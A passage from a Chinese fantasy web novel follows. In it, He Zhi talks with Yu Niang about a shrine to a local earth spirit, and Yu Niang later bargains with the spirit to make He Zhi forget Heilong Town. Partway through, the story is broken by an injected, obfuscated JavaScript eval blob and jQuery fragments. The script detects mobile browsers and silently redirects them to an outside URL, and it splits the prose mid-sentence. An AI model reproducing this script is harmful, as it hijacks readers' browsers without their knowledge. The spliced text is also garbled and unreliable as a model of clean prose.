“多谢。”何知笑笑,自然而然地从愉娘手中接过蜡烛,闲聊似的问道,“正巧在您这里看到一方神龛,因着形制样式有些特别,故而忍不住多看了两眼。其中供奉着的是何方神明呢,我怎么不曾见过?”
顺着何知的视线,愉娘也看向了那处不起眼的小角落。
“这……”愉娘手指下意识地在灰扑扑的粗布裙面上搓了搓,声音低了下来,带着一丝难以言喻的苦涩,“何姑娘,说来也不怕你笑话。我所供奉的,其实也不是什么正神,不过只是个我们本地的地灵而已。但说实话,在黑龙镇这样的神弃鬼厌之地,去向那些光明磊落的正神祈愿,又有什么用呢?神明伟岸,高居于九天宫阙之上,不与凡尘混同,我又哪里有脸去攀附呢?”
说到这里,愉娘偷偷瞄了一眼何知,见她没有立刻出言反对或者露出什么鄙夷的神色,这才大着胆子继续说道:“我们这地界儿,是真的苦啊。天灾人祸,魑魅魍魉,哪一样不是要命的玩意儿?求那些高高在上的神仙,他们听得见吗?就算听见了,又怎会理会我们这犄角旮旯里的蝼蚁死活?”
她的声音低了下去,带着一种认命般的清醒:“可地灵老爷不同。他就在这儿,在这片土里,在这镇子的每一块砖石下,在每一寸石头缝里。我们哭,他听得见;我们怕,他感觉得到。他……他就像个沉默寡言的老邻居,虽然不声不响,但我知道他会在那儿的时候,心里头多少能踏实点。”
说到这里,愉娘目光投向那简陋的神龛,里面那尊泥塑灰扑扑一团,面目模糊不清。其雕功之简陋,只能勉强看出一个人形的轮廓来,甚至分辨不出那泥像的具体形态。他穿着一件由泥土和碎石捏合而成的粗陋灰袍,周身没有金光,也没有祥云,却莫名有着一种沉甸甸的,与脚下这片土地同源同质的沧桑厚重感。
“你说的这个地灵老爷,他可有正式名号?”何知轻声问道。
愉娘摇摇头:“其实我也不太清楚,老辈人一般都叫他灰袍大人。”
一方水土养一方人,也养一方灵。
何知方才有意与愉娘谈论起这地灵,本来想告诫她切莫病急乱投医。胡乱去找邪灵依靠,以免莫名招致灾殃。
但现在她又有些不确定自己该不该说出这番话了。
也许有时候,一些听着正确却实际无法顶用的废话,其实也是一种高高在上、不近人情的傲慢吧。
愉娘对于这不知名地灵的供奉,也可看作是生命在处于险境时的一种求生本能。
远水救不了近火,高居云端的神明听不到不见天日的小镇中怨灵的祈愿。但这个灰袍地灵,至少是这片绝望之地上,一个可供她们寄托一丝渺茫希望的存在。
受一方香火,管一方之事。对于黑龙镇来说,一个扎根于此、与这片土地共生的灰袍地灵,其本身存在的象征意义,或许已经在某种程度上超越了正邪之分的界定。
他近在咫尺,能听到信众的倾诉与絮叨,接得住那些或许鸡毛蒜皮,或许上不得台面的祈愿,这就够了。
“我其实也不是真的要痴心妄想些什么。”愉娘的声音低了下去,带着几分明显的疲惫,“我只是有时候心里憋闷得慌,或者实在快熬不下去了,就对着这神龛念叨几句。我不求什么,只求灰袍大人能多看顾着些脚下这片土地,让这日子,能稍微不那么难熬些。”
“好运一定很快便会到来的。”愉娘听到何知轻柔而坚定地说道,“而我想留下来,助你们一臂之力,去亲眼见证这一天。”
看着眼前少女充满希望的黑亮眼珠,愉娘却有些悲观,不置可否道:“谁说得准呢,也许且有得熬呢。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410914|197750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
一语成谶。
可日子再难熬,愉娘也还是就这样一日一日地熬了下来。
何知三人的到来,对于愉娘来说,仿若一场异常瑰丽的美梦。
但只要是梦,便终究有醒来的那一日。
在知晓何知是仙门中人之后,愉娘也曾与她们反目,也曾想过赶她们离开。
但兜兜转转,何知还是在黑龙镇上停留了足有月余时间。
这其间,有猜疑,有交锋,亦有妥协与合作。
但真诚,永远是解除误会的最好利器。
后来,即使是对仙门怀有深切恨意的愉娘,也不得不承认,何知此人,是一个身怀抱负、风骨卓然的真正高洁之士。
何知这样的人,不该被这几无希望的黑龙镇所累,陷于这潭泥沼之中。
愉娘是这样想的,也是这样做的。
既然何知执意要拯救黑龙镇,那么,愉娘便让何知忘了这个执念便好了。
为此,她后来不惜私下与显灵的灰袍大人做了一个交易。
“灰袍大人,我知道您听得见……”愉娘声音低哑,仿佛每一个字都是从她喉咙深处艰难挤出,“何知姑娘……她是个好人,真正的好人。可她拯救不了我们,她应有更为广阔的天地可去,而不是留在这里,与我们共沉沦。”
“噼啪”,烛火轻响了一下,火苗骤然矮了一截。
一种难以言喻的沉重意念笼罩了她,带着审视,也带着一种默许。
一个身着灰袍,头戴高帽的阴影浮现在了空气之中,愉娘看不清他的面容,但她知道,地灵大人这是选择回应她了。
她深吸一口气,仿佛下定了最后的决心:“我求您,让她忘了,忘了黑龙镇的一切吧。我愿意付出代价,只求让她……能够干干净净地离开。”